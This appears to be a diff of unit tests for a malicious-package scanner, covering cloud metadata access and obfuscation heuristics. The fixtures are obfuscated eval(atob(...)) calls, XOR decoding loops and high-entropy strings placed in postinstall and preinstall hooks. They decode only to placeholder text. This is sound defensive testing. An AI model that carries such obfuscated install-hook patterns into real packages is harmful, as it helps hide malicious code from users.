assert(match.confidenceScore >= 80, `confidenceScore ${match.confidenceScore} < 80`);
|
|
104
|
+
});
|
|
105
|
+
|
|
106
|
+
test('D6c: no finding on clean JS with no IMDS patterns', async () => {
|
|
107
|
+
const jsFiles = [{ path: 'clean.js', content: 'const x = 1 + 1;' }];
|
|
108
|
+
const findings = await detectors.runAll({ name: 'test-pkg' }, jsFiles);
|
|
109
|
+
const match = findings.find((f) => f.id === 'TIER1-CLOUD-IMDS');
|
|
110
|
+
assert(!match);
|
|
111
|
+
});
|
|
112
|
+
|
|
113
|
+
test('D6c: no finding when 169.254.169.254 appears without /metadata path', async () => {
|
|
114
|
+
const jsFiles = [{ path: 'docs.js', content: '// link-local range starts at 169.254.0.0' }];
|
|
115
|
+
const findings = await detectors.runAll({ name: 'test-pkg' }, jsFiles);
|
|
116
|
+
const match = findings.find((f) => f.id === 'TIER1-CLOUD-IMDS');
|
|
117
|
+
assert(!match);
|
|
118
|
+
});
|
|
119
|
+
});
|
|
@@ -0,0 +1,88 @@
|
|
|
1
|
+
import { test, describe } from 'node:test';
|
|
2
|
+
import assert from 'assert/strict';
|
|
3
|
+
import * as detectors from './detectors/index.js';
|
|
4
|
+
|
|
5
|
+
describe('D7: Obfuscation Heuristics', () => {
|
|
6
|
+
test('D7: flags heavily obfuscated postinstall script', async () => {
|
|
7
|
+
const obfuscated = `var _0x=["eval","fromCharCode","charCodeAt"];for(var i=0;i<999;i++){var x=String.fromCharCode(i);if(i>500){eval(atob("Y29uc3QgeCA9ICdtYWxpY2lvdXMnO2V2YWwoeCk7Y29uc3QgeSA9ICdiYWNrZG9vcic7ZXZhbCh5KTs="))}}var _0xe="\\x65\\x76\\x61\\x6c\\x28\\x61\\x74\\x6f\\x62\\x28\\x22\\x59\\x6d\\x39\\x75\\x62\\x47\\x38\\x67"`;
|
|
8
|
+
const pkg = {
|
|
9
|
+
name: 'malicious-pkg',
|
|
10
|
+
version: '1.0.0',
|
|
11
|
+
scripts: { postinstall: obfuscated },
|
|
12
|
+
};
|
|
13
|
+
const findings = await detectors.runAll(pkg);
|
|
14
|
+
const match = findings.find((f) => f.id === 'TIER1-OBFUSCATION-HEURISTICS');
|
|
15
|
+
assert(match, 'Expected TIER1-OBFUSCATION-HEURISTICS finding');
|
|
16
|
+
assert(match.confidenceScore >= 75, `confidenceScore ${match.confidenceScore} < 75`);
|
|
17
|
+
});
|
|
18
|
+
|
|
19
|
+
test('D7: detects XOR cipher pattern in preinstall script', async () => {
|
|
20
|
+
const xorCode = `var _0xk=[0x66,0x6c,0x61,0x67];var _0xd="LzdHJKdUp4VWt5S292RXBsb3Zlck5pZ2h0U2VjcmV0S2V5Rm9yRW50cm9weUJvb3N0";let r='';for(let i=0;i<str.length;i++){r+=String.fromCharCode(str.charCodeAt(i)^_0xk[i%4]);if(i>50){eval(atob("RGV0ZWN0ZWQ="))}}`;
|
|
21
|
+
const pkg = {
|
|
22
|
+
name: 'suspicious-pkg',
|
|
23
|
+
version: '1.0.0',
|
|
24
|
+
scripts: { preinstall: xorCode },
|
|
25
|
+
};
|
|
26
|
+
const findings = await detectors.runAll(pkg);
|
|
27
|
+
const match = findings.find((f) => f.id === 'TIER1-OBFUSCATION-HEURISTICS');
|
|
28
|
+
assert(match, 'Expected TIER1-OBFUSCATION-HEURISTICS finding');
|
|
29
|
+
assert(match.confidenceScore >= 70, `confidenceScore ${match.confidenceScore} < 70`);
|
|
30
|
+
});
|
|
31
|
+
|
|
32
|
+
test('D7: does NOT flag normal string reversal (palindrome check)', async () => {
|
|
33
|
+
const normalCode = `
|
|
34
|
+
function isPalindrome(s) {
|
|
35
|
+
return s === s.split('').reverse().join('');
|
|
36
|
+
}
|
|
37
|
+
`;
|
|
38
|
+
const pkg = {
|
|
39
|
+
name: 'normal-pkg',
|
|
40
|
+
version: '1.0.0',
|
|
41
|
+
scripts: { postinstall: normalCode },
|
|
42
|
+
};
|
|
43
|
+
const findings = await detectors.runAll(pkg);
|
|
44
|
+
const match = findings.find((f) => f.id === 'TIER1-OBFUSCATION-HEURISTICS');
|
|
45
|
+
assert(!match, 'Should not flag normal palindrome function');
|
|
46
|
+
});
|
|
47
|
+
|
|
48
|
+
test('D7: flags high entropy in postinstall script', async () => {
|
|
49
|
+
const highEntropyCode = `var x="T3NobmFJc0VudHJvcHlCb29zdGVkV2l0aEJhc2U2NFBheWxvYWRUaGF0U2hvdWxkQmVQbGVudHlPZkNoYXJhY3RlcnNGb3JIaWdoRW50cm9weVNjb3JlQW5kSXRTaG91bGRCZU9mVmVyeUhpZ2hRdWFsaXR5VG9NYWtlVGhlVGVzdFBhc3NBbmRJdFNob3VsZEJlT2ZNaXhlZENhc2VXaXRoTnVtYmVyc0FuZFNwZWNpYWxDaGFyYWN0ZXJzRm9yTWF4RW50cm9weQ==";`;
|
|
50
|
+
const pkg = {
|
|
51
|
+
name: 'high-entropy-pkg',
|
|
52
|
+
version: '1.0.0',
|
|
53
|
+
scripts: { postinstall: highEntropyCode },
|
|
54
|
+
};
|
|
55
|
+
const findings = await detectors.runAll(pkg);
|
|
56
|
+
const match = findings.find((f) => f.id === 'TIER1-OBFUSCATION-HEURISTICS');
|
|
57
|
+
assert(match, 'Expected TIER1-OBFUSCATION-HEURISTICS finding');
|
|
58
|
+
assert(match.confidenceScore >= 55, `confidenceScore ${match.confidenceScore} < 55`);
|
|
59
|
+
});
|
|
60
|
+
|
|
61
|
+
test('D7: no finding on clean build script', async () => {
|
|
62
|
+
const cleanCode = `
|
|
63
|
+
const path = require('path');
|
|
64
|
+
const fs = require('fs');
|
|
65
|
+
fs.mkdirSync(path.join(__dirname, 'dist'));
|
|
66
|
+
console.log('build complete');
|
|
67
|
+
`;
|
|
68
|
+
const pkg = {
|
|
69
|
+
name: 'clean-pkg',
|
|
70
|
+
version: '1.0.0',
|
|
71
|
+
scripts: { postinstall: cleanCode },
|
|
72
|
+
};
|
|
73
|
+
const findings = await detectors.runAll(pkg);
|
|
74
|
+
const match = findings.find((f) => f.id === 'TIER1-OBFUSCATION-HEURISTICS');
|
|
75
|
+
assert(!match, 'Should not flag clean build script');
|
|
76
|
+
});
|
|
77
|
+
|
|
78
|
+
test('D7: no finding on KNOWN_REPUTABLE_PACKAGES', async () => {
|
|
79
|
+
const pkg = {
|
|
80
|
+
name: 'lodash',
|
|
81
|
+
version: '4.17.21',
|
|
82
|
+
scripts: { postinstall: 'eval(atob("dmFyIHg9J21hbGljaW91cyc7"))' },
|
|
83
|
+
};
|
|
84
|
+
const findings = await detectors.runAll(pkg);
|
|
85
|
+
const match = findings.find((f) => f.id === 'TIER1-OBFUSCATION-HEURISTICS');
|
|
86
|
+
assert(!match);
|
|
87
|
+
});
|
|
88
|
+
});
|